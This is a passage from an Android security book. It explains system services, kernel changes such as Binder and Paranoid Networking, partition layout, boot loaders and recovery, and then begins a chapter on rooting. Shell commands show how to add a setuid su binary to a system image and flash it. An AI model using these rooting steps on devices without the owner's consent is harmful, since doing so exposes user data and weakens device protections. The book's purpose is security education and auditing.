we’ll be using it heavily throughout the book. You can find detailed information on using the adb command at http://developer.android.com/tools/
help/adb.html.
Volume Daemon
The Volume Daemon, or vold, is responsible for mounting and unmounting
various file systems on Android. For instance, when an SD card is inserted,
vold processes that event by checking the SD card’s file system for errors (such
as through launching fsck) and mounting the card onto the appropriate path
(i.e., /mnt/sdcard). When the card is pulled or ejected (manually by the user)
vold unmounts the target volume.
The Volume Daemon also handles mounting and unmounting Android Secure
Container (ASEC) files. These are used for encrypting app packages when they
are stored on insecure file systems such as FAT. They are mounted via loopback
devices at app load time, typically onto /mnt/asec.
Opaque Binary Blobs (OBBs) are also mounted and unmounted by the Volume
Daemon. These files are packaged with an application to store data encrypted
with a shared secret. Unlike ASEC containers, however, the calls to mount
and unmount OBBs are performed by the applications themselves, rather than
the system. The following code snippet demonstrates creating an OBB with
SuperSecretKey as the shared key:
obbFile = "path/to/some/obbfile";
storageRef = (StorageManager) getSystemService(STORAGE_SERVICE);
storageRef.mountObb(obbFile, "SuperSecretKey", obbListener);
obbContent = storageRef.getMountedObbPath(obbFile);
Given that the Volume Daemon runs as root, it is an enticing target in both
its functionality and its potential vulnerability. You can find details on privilege
escalation attacks against vold and other similar services in Chapter 3.
Other Services
There are numerous other services that run on many Android devices, providing additional—though not necessarily critical—functionality (depending on
the device and the service). Table 2-2 highlights some of these services, their
purposes, and their privilege levels on the system (UID, GID, and any supplemental groups for that user, which may be specified in the system’s init.rc files).
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Table 2-2: User-space Native Services
UID, GID,
SUPPLEMENTAL
GROUPS
SERVICE
DESCRIPTION
netd
UID: 0 / root
Present in Android 2.2+, used by the Network
Management Service for configuring network
interfaces, running the PPP daemon (pppd), tether- GID: 0 / root
ing, and other similar tasks.
mediaserver
Responsible for starting media related services,
including Audio Flinger, Media Player Service,
Camera Service, and Audio Policy Service.
UID: 1013 / media
GID: 1005 / audio
Groups: 1006 /
camera
1026 / drmpc
3001 / net_bt_admin
3002 / net_bt
3003 / inet
3007 / net_bw_acct
dbusdaemon
Manages D-Bus–specific IPC/message passing (pri- UID: 1002 / bluetooth
marily for non-Android specific components).
GID: 1002 / bluetooth
Groups: 3001 /
net_bt_admin
installd
UID: 1012 / install
Manages installation of application packages on
the devices (on Package Manager’s behalf), including initial optimization of Dalvik Executable (DEX) GID: 1012 / install
bytecode in application packages (APKs).
On pre-4.2 devices:
UID: 0 /root
GID: 0 /root
keystore
Responsible for secure storage of key-value
pairs on the system (protected by a user-defined
password).
UID: 1017 / keystore
GID: 1017 / keystore
Groups: 1026 / drmpc
drmserver
Provides the low-level operations for Digital Rights UID: 1019 / drm
Management (DRM). Apps interface with this
GID: 1019 / drm
service by way of higher-level classes in the DRM
package (in Android 4.0+).
Groups: 1026 / drmrpc
3003 / inet
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UID, GID,
SUPPLEMENTAL
GROUPS
SERVICE
DESCRIPTION
servicemanager
Acts as the arbiter for registration/deregistration of UID: 1000 / system
app services with Binder IPC endpoints.
GID: 1000 / system
surfaceflinger
UID: 1000 / system
Present in Android 4.0+, the display compositor
responsible for building the graphics frame/screen
GID: 1000 / system
to be displayed and sending to the graphics card
driver.
Ueventd
UID: 0 / root
Present in Android 2.2+, user-space daemon for
handling system and device events and taking corGID: 0 /root
responding actions, such as loading appropriate
kernel modules.
As stated previously, this is by no means an exhaustive list. Comparing the
process list, init.rc, and file system of various devices to that of a Nexus device
often reveals a plethora of nonstandard services. These are particularly interesting because their code may not be of the same quality of the core services
present in all Android devices.
The Kernel
Although Android’s foundation, the Linux kernel, is fairly well documented
and understood, there are some notable differences between the vanilla Linux
kernel and that which is used by Android. This section explains some of those
changes, especially those which are pertinent to Android security.
The Android Fork
Early on, Google created an Android-centric fork of the Linux kernel, as many
modifications and additions weren’t compatible with the Linux kernel mainline
tree. Overall, this includes approximately 250 patches, ranging from file system
support and networking tweaks to process and memory management facilities. According to one kernel engineer, most of these patches “represent[ed] a
limitation that the Android developers found in the Linux kernel.” In March
2012, the Linux kernel maintainers merged the Android-specific kernel modifications into the mainline tree. Table 2-3 highlights some of the additions/
changes to the mainline kernel. We discuss several of these in more detail
later in this section.
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Table 2-3: Android’s major changes to Linux kernel
KERNEL CHANGE
DESCRIPTION
Binder
IPC mechanism with additional features such as security
validation of callers/callees; used by numerous system and
framework services
ashmem
Anonymous Shared Memory; file-based shared memory allocator;
uses Binder IPC to allow processes to identify memory region file
descriptors
pmem
Process Memory Allocator; used for managing large, contiguous
regions of shared memory
logger
System-wide logging facility
RAM_CONSOLE
Stores kernel log messages in RAM for viewing after a kernel panic
“oom” modifications
“Out of memory”-killer kills processes as memory runs low; in
Android fork, OOM kills processes sooner than vanilla kernel, as
memory is being depleted
wakelocks
Power management feature to keep a device from entering
low-power state, and staying responsive
Alarm Timers
Kernel interface for AlarmManager, to instruct kernel to
schedule “waking up”
Paranoid Networking
Restricts certain networking operations and features to specific
group IDs
timed output / gpio
Allows user-space programs to change and restore GPIO registers
after a period of time
yaffs2
Support for the yaffs2 flash file system
Binder
Perhaps one of the most important additions to Android’s Linux kernel was a
driver known as Binder. Binder is an IPC mechanism based on a modified version
of OpenBinder, originally developed by Be, Inc., and later Palm, Inc. Android’s
Binder is relatively small (approximately 4,000 lines of source code across two
files), but is pivotal to much of Android’s functionality.
In a nutshell, the Binder kernel driver facilitates the overall Binder architecture. The Binder—as an architecture—operates in a client-server model. It
allows a process to invoke methods in “remote” processes synchronously. The
Binder architecture abstracts away underlying details, making such method
calls seem as though they were local function calls. Figure 2-3 shows Binder’s
communication flow.
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Process A
Proxy
Binder Driver
Process B with Threads
Figure 2-3: Binder communication
Binder also uses process ID (PID) and UID information as a means of
identifying the calling process, allowing the callee to make decisions about
access control. This typically occurs through calls to methods like Binder
.getCallingUid and Binder.getCallingPid, or through higher-level checks
such as checkCallingPermission.
An example of this in practice would be the ACCESS_SURFACE_FLINGER permission. This permission is typically granted only to the graphics system user, and
allows access to the Binder IPC interface of the Surface Flinger graphics service.
Furthermore, the caller’s group membership—and subsequent bearing of the
required permission—is checked through a series of calls to the aforementioned
functions, as illustrated by the following code snippet:
const int pid = ipc->getCallingPid();
const int uid = ipc->getCallingUid();
if ((uid != AID_GRAPHICS) &&
!PermissionCache::checkPermission(sReadFramebuffer,
pid, uid)) {
ALOGE("Permission Denial: "
"can't read framebuffer pid=%d, uid=%d", pid, uid);
return PERMISSION_DENIED;
}
At a higher level, exposed IPC methods, such as those provided by bound Services,
are typically distilled into an abstract interface via Android Interface Definition
Language (AIDL). AIDL allows for two applications to use “agreed-upon” or standard interfaces for sending and receiving data, keeping the interface separate from
the implementation. AIDL is akin to other Interface Definition Language files or,
in a way, C/C++ header files. Consider the following sample AIDL snippet:
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// IRemoteService.aidl
package com.example.android;
// Declare any non-default types here with import statements
/** Example service interface */
interface IRemoteService {
/** Request the process ID of this service,
to do evil things with it. */
int getPid();
/** Demonstrates some basic types that you can use as parameters
* and return values in AIDL.
*/
void basicTypes(int anInt, long aLong, boolean aBoolean,
float aFloat,
double aDouble, String aString);
}
This AIDL example defines a simple interface, IRemoteService, along with
two methods: getPid and basicTypes. An application that binds to the service
exposing this interface would subsequently be able to call the aforementioned
methods—facilitated by Binder.
ashmem
Anonymous Shared Memory, or ashmem for short, was another addition to the
Android Linux kernel fork. The ashmem driver basically provides a file-based,
reference-counted shared memory interface. Its use is prevalent across much
of Android’s core components, such as Surface Flinger, Audio Flinger, System
Server, and the DalvikVM. Because ashmem is designed to automatically shrink
memory caches and reclaim memory regions when available system-wide
memory is low, it is well suited for low-memory environments.
At a low level, using ashmem is as simple as calling ashmem_create_region,
and using mmap on the returned file descriptor:
int fd = ashmem_create_region("SomeAshmem", size);
if(fd == 0) {
data = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
...
At a higher level, the Android Framework provides the MemoryFile class,
which serves as a wrapper around the ashmem driver. Furthermore, processes
can use the Binder facility to later share these memory objects, leveraging the
security features of Binder to restrict access. Incidentally, ashmem proved to
be the source of a pretty serious flaw in early 2011, allowing for a privilege
escalation via Android properties. This is covered in greater detail in Chapter 3.
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pmem
Another Android-specific custom driver is pmem, which manages large, physically contiguous memory ranging between 1 megabyte (MB) and 16MB (or
more, depending on the implementation). These regions are special, in that
they are shared between user-space processes and other kernel drivers (such
as GPU drivers). Unlike ashmem, the pmem driver requires the allocating
process to hold a fi le descriptor to the pmem memory heap until all other
references are closed.
Logger
Though Android’s kernel still maintains its own Linux-based kernel-logging
mechanism, it also uses another logging subsystem, colloquially referred to
as the logger. This driver acts as the support for the logcat command, used to
view log buffers. It provides four separate log buffers, depending on the type
of information: main, radio, event, and system. Figure 2-4 shows the flow of
log events and components that assist logger.
The main buffer is often the most voluminous, and is the source for applicationrelated events. Applications typically call a method from the android.util.Log
class, where the invoked method corresponds to the log entry priority level—for
example, the Log.i method for “informational,” Log.d for “debug,” or Log.e for
“error” level logs (much like syslog).
Overview of Android Logging System
Target
Java program
Native program
android.util.Log
System.out
/System.err
com.android.internal.os
AndroidPrintstream
Host
ADT in Eclipse
stdout
/stderr
logcat
liblog
stdout
adbd
adbserver
User
Kernel
adb logcat
main
64KB
radio
logger
/dev/log/main
/dev/log/radio
/dev/log/event
/dev/log/system
event
256KB
64KB
system
64KB
/dev/log/main
/dev/log/radio
/dev/log/event
/dev/log/system
Figure 2-4: Android logging system architecture
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Chapter 2 ■ Android Security Design and Architecture
The system buffer is also a source of much information, namely for system-wide
events generated by system processes. These processes utilize the println_native
method in the android.util.Slog class. This method in turn calls native code
specific to logging to this particular buffer.
Log messages can be retrieved using the logcat command, with both the
main and system buffers being the default sources. In the following code, we
run adb -d logcat to see what is happening on the attached device:
$ adb -d logcat
--------- beginning of /dev/log/system
D/MobileDataStateTracker( 1600): null: Broadcast received:
ACTION_ANY_DATA_CONNECTION_STATE_CHANGEDmApnType=null != received
apnType=internet
D/MobileDataStateTracker( 1600): null: Broadcast received:
ACTION_ANY_DATA_CONNECTION_STATE_CHANGEDmApnType=null != received
apnType=internet
D/MobileDataStateTracker( 1600): httpproxy: Broadcast received:
ACTION_ANY_DATA_CONNECTION_STATE_CHANGEDmApnType=httpproxy != received
apnType=internet
D/MobileDataStateTracker( 1600): null: Broadcast received:
ACTION_ANY_DATA_CONNECTION_STATE_CHANGEDmApnType=null != received
apnType=internet
...
--------- beginning of /dev/log/main
...
D/memalloc( 1743): /dev/pmem: Unmapping buffer base:0x5396a000
size:12820480 offset:11284480
D/memalloc( 1743): /dev/pmem: Unmapping buffer base:0x532f8000
size:1536000 offset:0
D/memalloc( 1743): /dev/pmem: Unmapping buffer base:0x546e7000
size:3072000 offset:1536000
D/libEGL ( 4887): loaded /system/lib/egl/libGLESv1_CM_adreno200.so
D/libEGL ( 4887): loaded /system/lib/egl/libGLESv2_adreno200.so
I/Adreno200-EGLSUB( 4887): <ConfigWindowMatch:2078>: Format RGBA_8888.
D/OpenGLRenderer( 4887): Enabling debug mode 0
V/chromium( 4887): external/chromium/net/host_resolver_helper/host_
resolver_helper.cc:66: [0204/172737:INFO:host_resolver_helper.cc(66)]
DNSPreResolver::Init got hostprovider:0x5281d220
V/chromium( 4887): external/chromium/net/base/host_resolver_impl.cc:1515:
[0204/172737:INFO:host_resolver_impl.cc(1515)]
HostResolverImpl::SetPreresolver preresolver:0x013974d8
V/WebRequest( 4887): WebRequest::WebRequest, setPriority = 0
I/InputManagerService( 1600): [unbindCurrentClientLocked] Disable input
method client.
I/InputManagerService( 1600): [startInputLocked] Enable input
method client.
V/chromium( 4887): external/chromium/net/disk_cache/
hostres_plugin_bridge.cc:52: [0204/172737:INFO:hostres_
plugin_bridge.cc(52)] StatHubCreateHostResPlugin initializing...
...
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The logcat command is so commonly executed that ADB actually provides
a shortcut for running it on a target device. Throughout the course of the book,
we make extensive use of the logcat command to monitor processes and overall
system state.
Paranoid Networking
The Android kernel restricts network operations based on supplementary group
membership of the calling process—a kernel modification known as Paranoid
Networking. At a high level, this involves mapping an AID, and subsequently
a GID, to an application-level permission declaration or request. For example,
the manifest permission android.permission.INTERNET effectively maps to the
AID_INET AID—or GID 3003. These groups, IDs, and their respective capabilities
are defined in include/linux/android_aid.h in the kernel source tree, and are
described in Table 2-4.
Table 2-4: Networking capabilities by group
AID DEFINITION
GROUP ID / NAME
CAPABILITY
AID_NET_BT_ADMIN
3001 / net_bt_admin
Allows for creation of any Bluetooth
socket, as well as diagnoses and
manages Bluetooth connections
AID_NET_BT
3002 / net_bt
Allows for creation of SCO, RFCOMM,
or L2CAP (Bluetooth) sockets
AID_INET
3003 / inet
Allows for creation of AF_INET and
AF_INET6 sockets
AID_NET_RAW
3004 / net_raw
Allows the use of RAW and PACKET
sockets
AID_NET_ADMIN
3005 / net_admin
Grants the CAP_NET_ADMIN capability,
allowing for network interface, routing
table, and socket manipulation
You can fi nd additional Android-specific group IDs in the AOSP source
repository in system/core/include/private/android_filesystem_config.h.
Complex Security, Complex Exploits
After taking a closer look at the design and architecture of Android, it is clear that
the Android operating system developers created a very complex system. Their
design allows them to adhere to the principle of least privilege, which states that
any particular component should have access only to things that it absolutely
requires. Throughout this book, you will see substantial evidence of the use of
this principle. Although it serves to improve security, it also increases complexity.
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Process isolation and privilege reduction are techniques that are often a
cornerstone in secure system design. The complexities of these techniques complicate the system for both developers and attackers, which increase the cost of
development for both parties. When an attacker is crafting his attack, he must
take the time to fully understand the complexities involved. With a system like
Android, exploiting a single vulnerability may not be enough to get full access
to the system. Instead, the attacker may have to exploit several vulnerabilities
to achieve the objective. To summarize, successfully attacking a complex system
requires a complex exploit.
A great real-world example of this concept is the “diaggetroot” exploit used to
root the HTC J Butterfly. To achieve root access, that exploit leveraged multiple,
complementary issues. That particular exploit is discussed in further detail in
Chapter 3.
Summary
This chapter gave an overview of the security design and architecture of Android.
We introduced the Android sandbox and the permissions models used by
Android. This included Android’s special implementation of Unix UID/GID
mappings (AIDs), as well as the restrictions and capabilities enforced throughout the system.
We also covered the logical layers of Android, including applications, the
Android Framework, the DalvikVM, user-space native code, and the Linux
kernel. For each of these layers, we discussed key components, especially those
that are security related. We highlighted important additions and modifications
that the Android developers made to the Linux kernel.
This fairly high-level coverage of Android’s overall design helps frame the
remaining chapters, which dive even further into the components and layers
introduced in this chapter.
The next chapter explains the how and why of taking full control of your
Android device. It discusses several generic methods for doing so as well as
some past techniques that rely on specific vulnerabilities.
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3
Rooting Your Device
The process of gaining super user privileges on an Android device is commonly
called rooting. The system super user account is ubiquitously called root, hence the
term rooting. This special account has rights and permissions over all files and
programs on a UNIX-based system. It has full control over the operating system.
There are many reasons why someone would like to achieve administrative
privileges on an Android device. For the purposes of this book, our primary
reason is to audit the security of an Android device without being confined
by UNIX permissions. However, some people want to access or alter system
files to change a hard-coded configuration or behavior, or to modify the look
and feel with custom themes or boot animations. Rooting also enables users
to uninstall pre-installed applications, do full system backups and restores,
or load custom kernel images and modules. Also, a whole class of apps exists
that require root permissions to run. These are typically called root apps and
include programs such as iptables-based firewalls, ad-blockers, overclocking,
or tethering applications.
Regardless of your reason to root, you should be concerned that the process
of rooting compromises the security of your device. One reason is that all
user data is exposed to applications that have been granted root permissions.
Further, it could leave an open door for someone to extract all user data from
the device if you lose it or it is stolen, especially if security mechanisms (such
as boot loader locks, or signed recovery updates) have been removed while
rooting it.
57
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This chapter covers the process of rooting an Android device in a generic
way, without giving specific details about a concrete Android version or device
model. It also explains the security implications of each step performed to gain
root. Finally, the chapter provides an overview of some flaws that have been
used for rooting Android devices in the past. These flaws have been fixed in
current Android releases.
W A R N I N G Rooting your device, if you do not know what you are doing, can
cause your phone to stop functioning correctly. This is especially true if you modify
any system files. Thankfully, most Android devices can be returned to the stock factory state if needed.
Understanding the Partition Layout
Partitions are logical storage units or divisions made inside the device’s
persistent storage memory. The layout refers to the order, offsets, and sizes of
the various partitions. The partition layout is handled by the boot loader in most
devices, although in some rare cases it can also be handled by the kernel itself.
This low-level storage partitioning is crucial to proper device functionality.
The partition layout varies between vendors and platforms. Two different
devices typically do not have the same partitions or the same layout. However,
a few partitions are present in all Android devices. The most common of these
are the boot, system, data, recovery, and cache partitions. Generally speaking, the
device’s NAND flash memory is partitioned using the following partition layout:
■
boot loader: Stores the phone’s boot loader program, which takes care
of initializing the hardware when the phone boots, booting the Android
kernel, and implementing alternative boot modes such as download mode.
■
splash: Stores the first splash screen image seen right after powering on
the device. This usually contains the manufacturer’s or operator’s logo.
On some devices, the splash screen bitmap is embedded inside the boot
loader itself rather than being stored in a separate partition.
■
boot: Stores the Android boot image, which consists of a Linux kernel
(zImage) and the root file system ram disk (initrd).
■
recovery: Stores a minimal Android boot image that provides maintenance
functions and serves as a failsafe.
■
system: Stores the Android system image that is mounted as /system on
a device. This image contains the Android framework, libraries, system
binaries, and pre-installed applications.
■
userdata: Also called the data partition, this is the device’s internal storage for application data and user files such as pictures, videos, audio, and
downloads. This is mounted as /data on a booted system.
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■
cache: Used to store various utility files such as recovery logs and update
packages downloaded over-the-air. On devices with applications installed
on an SD card, it may also contain the dalvik-cache folder, which stores
the Dalvik Virtual Machine (VM) cache.
■
radio: A partition that stores the baseband image. This partition is usually
present only on devices with telephony capabilities.
Determining the Partition Layout
You can obtain the partition layout of a particular device in several ways. First,
you can look at the contents of the partitions entry in the /proc file system.
Following are the contents of this entry on a Samsung Galaxy Nexus running
Android 4.2.1:
[email protected]:/data $ cat /proc/partitions
major minor #blocks name
31
179
179
179
179
179
179
179
179
259
259
259
259
259
259
179
179
0
0
1
2
3
4
5
6
7
0
1
2
3
4
5
16
8
1024
15388672
128
3584
20480
8192
4096
4096
8192
12224
16384
669696
442368
14198767
64
512
512
mtdblock0
mmcblk0
mmcblk0p1
mmcblk0p2
mmcblk0p3
mmcblk0p4
mmcblk0p5
mmcblk0p6
mmcblk0p7
mmcblk0p8
mmcblk0p9
mmcblk0p10
mmcblk0p11
mmcblk0p12
mmcblk0p13
mmcblk0boot1
mmcblk0boot0
In addition to the proc entry, it is also possible to get a mapping of these device
files to their logical functions. To do this, check the contents of the System-onChip (SoC) specific directory in /dev/block/platform. There, you should find a
directory called by-name, where each partition name is linked to its corresponding block device. The following excerpt shows the contents of this directory on
the same Samsung Galaxy Nexus as the previous example.
[email protected]:/dev/block/platform/omap/omap_hsmmc.0/by-name $ ls -l
lrwxrwxrwx root root 2013-01-30 20:43 boot -> /dev/block/mmcblk0p7
lrwxrwxrwx root root 2013-01-30 20:43 cache -> /dev/block/mmcblk0p11
lrwxrwxrwx root root 2013-01-30 20:43 dgs -> /dev/block/mmcblk0p6
lrwxrwxrwx root root 2013-01-30 20:43 efs -> /dev/block/mmcblk0p3
lrwxrwxrwx root root 2013-01-30 20:43 metadata -> /dev/block/mmcblk0p13
lrwxrwxrwx root root 2013-01-30 20:43 misc -> /dev/block/mmcblk0p5
lrwxrwxrwx root root 2013-01-30 20:43 param -> /dev/block/mmcblk0p4
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lrwxrwxrwx
lrwxrwxrwx
lrwxrwxrwx
lrwxrwxrwx
lrwxrwxrwx
lrwxrwxrwx
root
root
root
root
root
root
root
root
root
root
root
root
2013-01-30
2013-01-30
2013-01-30
2013-01-30
2013-01-30
2013-01-30
20:43
20:43
20:43
20:43
20:43
20:43
radio -> /dev/block/mmcblk0p9
recovery -> /dev/block/mmcblk0p8
sbl -> /dev/block/mmcblk0p2
system -> /dev/block/mmcblk0p10
userdata -> /dev/block/mmcblk0p12
xloader -> /dev/block/mmcblk0p1
Further still, there are other places where you can obtain information about
the partition layout. The /etc/vold.fstab file, the recovery log (/cache/
recovery/last_log), and the kernel logs (via dmesg or /proc/kmsg) are known
to contain partition layout information in some cases. If all else fails, you can
find some information about partitions using the mount command or examining /proc/mounts.
Understanding the Boot Process
The boot loader is usually the first thing that runs when the hardware is powered
on. On most devices, the boot loader is manufacturer’s proprietary code that
takes care of low-level hardware initialization (setup clocks, internal RAM, boot
media, and so on) and provides support for loading recovery images or putting
the phone into download mode. The boot loader itself is usually comprised of
multiple stages, but we only consider it as a whole here.
When the boot loader has fi nished initializing the hardware it loads the
Android kernel and initrd from the boot partition into RAM. Finally, it jumps
into the kernel to let it continue the boot process.
The Android kernel does all the tasks needed for the Android system to run
properly on the device. For example, it will initialize memory, input/output
(I/O) areas, memory protections, interrupt handlers, the CPU scheduler, device
drivers, and so on. Finally, it mounts the root file system and starts the first
user-space process, init.
The init process is the father of all other user-space processes. When it
starts, the root file system from the initrd is still mounted read/write. The
/init.rc script serves as the configuration file for init. It specifies the actions
to take while initializing the operating system’s user-space components. This
includes starting some core Android services such as rild for telephony, mtpd
for VPN access, and the Android Debug Bridge daemon (adbd). One of the
services, Zygote, creates the Dalvik VM and starts the first Java component,
System Server. Finally, other Android Framework services, such as the Telephony
Manager, are started.
The following shows an excerpt from the init.rc script of an LG Optimus
Elite (VM696). You can find more information about the format of this file in
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the system/core/init/readme.txt file from the Android Open Source Project
(AOSP) repository.
[...]
service adbd /sbin/adbd
disabled
[...]
service ril-daemon /system/bin/rild
socket rild stream 660 root radio
socket rild-debug stream 660 radio system
user root
group radio cache inet misc audio sdcard_rw qcom_oncrpc diag
[...]
service zygote /system/bin/app_process -Xzygote
/system/bin --zygote --start-system-server
socket zygote stream 660 root system
onrestart write /sys/android_power/request_state wake
onrestart write /sys/power/state on
onrestart restart media
onrestart restart netd
[...]
When the system boot has been completed, an ACTION _BOOT _COMPLETED
event is broadcasted to all applications that have registered to receive this broadcast intent in their manifest. When this is complete, the system is considered
fully booted.
Accessing Download Mode
In the boot process description, we mentioned that the boot loader usually provides support for putting the phone into download mode. This mode enables the
user to update the persistent storage at a low level through a process typically
called flashing. Depending on the device, flashing might be available via fastboot
protocol, a proprietary protocol, or even both. For example, the Samsung Galaxy
Nexus supports both the proprietary ODIN mode and fastboot.
N O T E Fastboot is the standard Android protocol for flashing full disk images to
specific partitions over USB. The fastboot client utility is a command-line tool that you
can obtain from the Android Software Development Kit (SDK) available at https://
developer.android.com/sdk/ or the AOSP repository.
Entering alternate modes, such as download mode, depends on the boot
loader. When certain key-press combinations are held during boot, the
boot loader starts download mode instead of doing the normal Android
kernel boot process. The exact key-press combination varies from device to
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device, but you can usually easily fi nd it online. After it’s in download mode,
the device should await a host PC connection through Universal Serial Bus
(USB). Figure 3-1 shows the fastboot and ODIN mode screens.
Figure 3-1: Fastboot and ODIN mode
When a USB connection has been established between the boot loader and
the host computer, communication takes place using the device-supported
download protocol. These protocols facilitate executing various tasks including
flashing NAND partitions, rebooting the device, downloading and executing
an alternate kernel image, and so on.
Locked and Unlocked Boot Loaders
Generally speaking, locked boot loaders prevent the end user from performing
modifications to the device’s firmware by implementing restrictions at the boot
loader level. Those restrictions can vary, depending on the manufacturer’s decision, but usually there is a cryptographic signature verification that prevents
booting and/or flashing unsigned code to the device. Some devices, such as
cheap Chinese Android devices, do not include any boot loader restrictions.
On Google Nexus devices, the boot loader is locked by default. However,
there’s an official mechanism in place that enables owners to unlock it. If the
end user decides to run a custom kernel, recovery image, or operating system
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image, the boot loader needs to be unlocked first. For these devices, unlocking
the boot loader is as simple as putting the device into fastboot mode and running
the command fastboot oem unlock. This requires the command-line fastboot
client utility, which is available in the Android SDK or the AOSP repository.
Some manufacturers also support unlocking the boot loaders on their devices,
on a per-device basis. In some cases the process uses the standard Original
Equipment Manufacturer (OEM) unlock procedure through fastboot. However,
some cases revolve around some proprietary mechanism such as a website or
unlock portal. These portals usually require the owner to register his device, and
forfeit his warranty, to be able to unlock its boot loader. As of this writing, HTC,
Motorola, and Sony support unlocking at least some of their devices.
Unlocking the boot loader carries serious security implications. If the device is
lost or stolen, all data on it can be recovered by an attacker simply by uploading
a custom Android boot image or flashing a custom recovery image. After doing
so, the attacker has full access to the data contained on the device’s partitions.
This includes Google accounts, documents, contacts, stored passwords, application data, camera pictures, and more. Because of this, a factory data reset is
performed on the phone when unlocking a locked boot loader. This ensures all
the end user’s data are erased and the attacker should not be able to access it.
W A R N I N G We highly recommended using Android device encryption. Even after
all data has been erased, it is possible to forensically recover erased data on some
devices.
Stock and Custom Recovery Images
The Android recovery system is Android’s standard mechanism that allows
software updates to replace the entirety of the system software preinstalled on
the device without wiping user data. It is mainly used to apply updates downloaded manually or Over-the-Air (OTA). Such updates are applied offline after
a reboot. In addition to applying OTA updates, the recovery can perform other
tasks such as wiping the user data and cache partitions.
The recovery image is stored on the recovery partition, and consists of a minimal Linux image with a simple user interface controlled by hardware buttons.
The stock Android recovery is intentionally very limited in functionality. It
does the minimal things necessary to comply with the Android Compatibility
Definitions at http://source.android.com/compatibility/index.html.
Similar to accessing download mode, you access the recovery by pressing a
certain key-press combination when booting the device. In addition to using
key-presses, it is possible to instruct a booted Android system to reboot into
recovery mode through the command adb reboot recovery. The commandline Android Debug Bridge (ADB) tool is available as part of the Android SDK
or AOSP repository at http://developer.android.com/sdk/index.html.
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One of the most commonly used features of the recovery is to apply an update
package. Such a package consists of a zip file containing a set of files to be copied to the device, some metadata, and an updater script. This updater script
tells the Android recovery which operations to perform on the device to apply
the update modifications. This could include mounting the system partition,
making sure the device and operating system versions match with the one the
update package was created for, verifying SHA1 hashes of the system files that
are going to be replaced, and so on. Updates are cryptographically signed using
an RSA private key. The recovery verifies the signature using the corresponding public key prior to applying the update. This ensures only authenticated
updates can be applied. The following snippet shows the contents of a typical
Over-the-Air (OTA) update package.
Extracting an OTA Update Package for Nexus 4
$ unzip 625f5f7c6524.signed-occam-JOP40D-from-JOP40C.625f5f7c.zip
Archive: 625f5f7c6524.signed-occam-JOP40D-from-JOP40C.625f5f7c.zip
signed by SignApk
inflating: META-INF/com/android/metadata
inflating: META-INF/com/google/android/update-binary
inflating: META-INF/com/google/android/updater-script
inflating: patch/system/app/ApplicationsProvider.apk.p
inflating: patch/system/app/ApplicationsProvider.odex.p
inflating: patch/system/app/BackupRestoreConfirmation.apk.p
inflating: patch/system/app/BackupRestoreConfirmation.odex.p
[...]
inflating: patch/system/lib/libwebcore.so.p
inflating: patch/system/lib/libwebrtc_audio_preprocessing.so.p
inflating: recovery/etc/install-recovery.sh
inflating: recovery/recovery-from-boot.p
inflating: META-INF/com/android/otacert
inflating: META-INF/MANIFEST.MF
inflating: META-INF/CERT.SF
inflating: META-INF/CERT.RSA
Custom Android recovery images exist for most devices. If one is not available,
you can easily create it by applying custom modifications to the stock Android
recovery source code from the AOSP repository.
The most common modifications included in custom recovery images are
■
Including a full backup and restore functionality (such as NANDroid script)
■
Allow unsigned update packages, or allow signed packages with custom
keys
■
Selectively mounting device partitions or SD card
■
Provide USB mass storage access to SD card or data partitions
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■
Provide full ADB access, with the ADB daemon running as root
■
Include a fully featured BusyBox binary
Popular custom recovery images with builds for multiple devices are
ClockworkMod recovery or TeamWin Recovery Project (TWRP). Figure 3-2
shows stock and ClockworkMod recovery screens.
Figure 3-2: Android recovery and ClockworkMod Recovery
W A R N I N G Keeping a custom recovery image with signature restrictions
removed, or full ADB access exposed, on your Android device also leaves an open door
to obtaining all user data contained on the device’s partitions.
Rooting with an Unlocked Boot Loader
The process of rooting culminates in having an su binary with the proper set-uid
permissions on the system partition. This allows elevating privileges whenever
needed. The su binary is usually accompanied by an Android application, such
as SuperUser or SuperSU, that provides a graphical prompt each time an application requests root access. If the request is granted, the application invokes
the su binary to execute the requested command. These su wrapper Android
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applications also manage which applications or users should be granted root
access automatically, without prompting the user.
N O T E The latest version of Chainfire SuperSU can be downloaded as a recovery update package from http://download.chainfire.eu/supersu or as a
standalone application from Google Play at https://play.google.com/store/
apps/details?id=eu.chainfire.supersu.
The ClockworkMod SuperUser package can be obtained from Google Play at
https://play.google.com/store/apps/details?id=com
.koushikdutta.superuser. The source code is available at https://github
.com/koush/Superuser.
On devices with an unlocked or unlockable boot loader, gaining root access is
very easy, as you do not have to rely on exploiting an unpatched security hole.
The first step is to unlock the boot loader. If you haven’t done it already, depending on the device you should either use fastboot oem unlock as described in
the “Locked and Unlocked Boot Loaders” section, or use a vendor-specific boot
loader unlock tool to legitimately unlock the device.
At the time of this writing, Motorola, HTC, and Sony-Ericsson support boot
loader unlocking on some devices through their unlock portal websites.
N O T E The boot loader unlock portal for Motorola is available at https://
motorola-global-portal.custhelp.com/app/standalone/bootloader/
unlock-your-device-a.
The boot loader unlock portal for HTC is available at http://www.htcdev.com/
bootloader.
The boot loader unlock portal for SonyEricsson is available at http://
unlockbootloader.sonymobile.com/.
When the boot loader is unlocked, the user is free to make custom modifications to the device. At this point, there are several ways to include the
appropriate su binary for the device’s architecture in the system partition, with
the correct permissions.
You can modify a factory image to add an su binary. In this example, we unpack
an ext4 formatted system image, mount it, add an su binary, and repack it. If
we flash this image, it will contain the su binary and the device will be rooted.
mkdir systemdir
simg2img system.img system.raw
mount -t ext4 -o loop system.raw systemdir
cp su systemdir/xbin/su
chown 0:0 systemdir/xbin/su
chmod 6755 systemdir/xbin/su
make_ext4fs -s -l 512M -a system custom-system.img systemdir
umount systemdir
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If the device is an AOSP-supported device, you can compile a userdebug or
eng Android build from source. Visit http://source.android.com/source/
building.html for more information on building Android from source. These
build configurations provide root access by default:
curl http://commondatastorage.googleapis.com/git-repo-downloads/repo \
-o ~/bin/repo
chmod a+x ~/bin/repo
repo init -u https://android.googlesource.com/platform/manifest
repo sync
source build/envsetup.sh
lunch full_maguro-userdebug
Whether you built your custom system image by modifying a factory image
or by compiling your own, you must flash the system partition for it to take
effect. For example, the following command shows how to flash this image
using the fastboot protocol:
fastboot flash system custom-system.img
The most straightforward method is to boot a custom recovery image. This
allows copying the su binary into the system partition and setting the appropriate permissions through a custom update package.
N O T E When using this method, you are booting the custom recovery image without flashing it, so you use it only to flash an su binary on the system partition without
modifying the recovery partition at all.
To do this, download a custom recovery image and su update package. The
custom recovery image can be one of your choosing, as long as it supports your
device. Similarly, the su update package can be SuperSU, SuperUser, or another
